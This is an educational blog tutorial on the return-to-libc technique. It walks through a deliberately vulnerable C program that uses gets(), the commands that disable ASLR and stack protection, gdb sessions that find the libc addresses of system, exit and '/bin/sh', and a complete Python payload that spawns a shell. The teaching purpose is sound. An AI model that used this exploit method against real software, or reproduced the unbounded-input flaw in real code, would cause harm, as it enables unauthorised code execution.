Design a Return-to-libc attack

July 16, 2023 at 15:57:00, written by @vmmon.th0

Assembly
ASLR
C-LANG
Security

The ret2libc technique is a method typically used in case of buffer overflow vulnerability (see this section for more information on buffer overflow). It is not specific to certain UNIX architectures, which means that it works on both 32-bit and 64-bit systems. Ret2libc, short for Return-to-libc, is a technique of overwriting the return address in a (stack frame) in order to hijack the program execution flow to a libc function. In addition, it is possible to add parameters in the stack for these functions. This approach could be seen as a lighter and more straightforward solution than using pure shellcode. However, shellcode has the advantage of offering precise instructions.

The content of this cyber security course on ret2libc is strictly educational. It is not intended for malicious use or illegal activities.

Vizualization

This diagram represents a stack frame, the elements marked on the right will overwrite the targeted sections.

enter image description here

#include <stdio.h>

void
going_to_be_hijacked()
{
  char buffer[32];
  gets(buffer);
  return;
}

int
main(int argc, const char *argv[])
{
  going_to_be_hijacked();
  return 0;
}

This program should be compiled with this command line, at the same time we will deactivate ASLR, in order to ensure that there is no randomization at the address space positions.

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
gcc -m32 -fno-stack-protector -o ret2libc ret2libc.c

The above program is vulnerable as there is no saniztize input. This will be used to demonstrate our operation. First of all we have to look for the necessary components to design our attack, in other words, the addresses of the functions to be executed and their respective arguments. The principle is simple we modify what is written in the memory by respecting certain conventions in order to achieve our ends.

  1. Get offset & apply padding in order to point to the beginning of the RIP location. For this demonstration we will use an Offset Pattern Generator, it's a software that generates a pattern and is able to calculate the offset from the current memory position used to inject this pattern until the EIP location.

enter image description here

Program received signal SIGSEGV, Segmentation fault.
0x35624134 in ?? ()

Our offset is therefore 44 Bytes according to the 0x35624134.

  1. Retrieve the system() address from the libc.
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7c48170 <system>
  1. Retrieve the exit() address from the libc.
(gdb) p exit
$2 = {<text variable, no debug info>} 0xf7c3a460 <exit>
  1. Find "/bin/sh" string address in our libc-[VERSION].so using find command :
(gdb) b main
Breakpoint 1 at 0x1193
(gdb) run
Starting program: /home/ammon/Desktop/ret2libc/a.out
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x56556193 in main ()
(gdb) info proc map
process 5689
Mapped address spaces:

Start Addr End Addr Size Offset Perms objfile
...
0xf7c00000 0xf7c20000 0x20000 0x0 r--p /usr/lib/i386-linux-gnu/libc.so.6
0xf7c20000 0xf7da2000 0x182000 0x20000 r-xp /usr/lib/i386-linux-gnu/libc.so.6
0xf7da2000 0xf7e27000 0x85000 0x1a2000 r--p /usr/lib/i386-linux-gnu/libc.so.6
0xf7e27000 0xf7e28000 0x1000 0x227000 ---p /usr/lib/i386-linux-gnu/libc.so.6
0xf7e28000 0xf7e2a000 0x2000 0x227000 r--p /usr/lib/i386-linux-gnu/libc.so.6
0xf7e2a000 0xf7e2b000 0x1000 0x229000 rw-p /usr/lib/i386-linux-gnu/libc.so.6
...

(gdb) find 0xf7c00000,0xf7e2b000,"/bin/sh"
0xf7dbd0d5
1 pattern found.

You can also save the string "/bin/sh" in an environment variable before launching the process this way export MALICIOUS_VAR="/bin/sh" In order to retrieve the location of this character string in memory you set a breakpoint in hand, then you execute the program with the run command. Now that you are in the process, you will get the address with the getenv(); call (char *)getenv("MALICIOUS_VAR")

Design attack

After identifying all the required addresses for our elements, we will construct an optimal payload based on the previously discovered offset and our 32-bit architecture.

python3 -c 'print("B"*44 + "\x70\x81\xc4\xf7" + "\x60\xa4\xc3\xf7" + "\xd5\xd0\xdb\xf7")' > payload

The above payload will be injected into the program in order to carry out the overwrite demonstrated at the beginning of this archive. A common approach to catch the spawned shell is to use this command line.

cat payload - | ./ret2libc

For comments, please send me an dm through contact section.